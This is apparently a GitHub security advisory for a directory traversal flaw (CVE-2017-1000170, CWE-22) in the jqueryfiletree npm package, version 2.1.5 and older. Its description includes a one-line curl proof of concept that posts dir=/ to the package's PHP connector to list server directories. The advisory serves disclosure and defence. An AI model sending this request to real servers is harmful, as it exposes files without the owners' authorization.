GitHub Advisoryadvisory · npm

GHSA-p739-9479-5wr2 jqueryFileTree vulnerable to Directory Traversal

HIGH Published 2022-05-13 Modified 2024-04-22 Official page ↗

Aliases: CVE-2017-1000170
Ecosystem: npm
Packages: jqueryfiletree
Severity: High
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses: CWE-22
Reviewed: 2024-04-22

Affected packages

• npm jqueryfiletree: <= 2.1.5 (no fix yet)

Description

jqueryFileTree 2.1.5 and older is vulnerable to Directory Traversal POC: ```bash curl 'http://localhost:8000/js/jqueryfiletree-2.1.5/dist/connectors/jqueryFileTree.php' -H 'Referer: xxx' -d "dir=/" ```

Related

Alias · CVE (1)

CVE-2017-1000170 jqueryFileTree 2.1.5 and older Directory Traversal vulnerability

Weakness · CWE (1)

CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References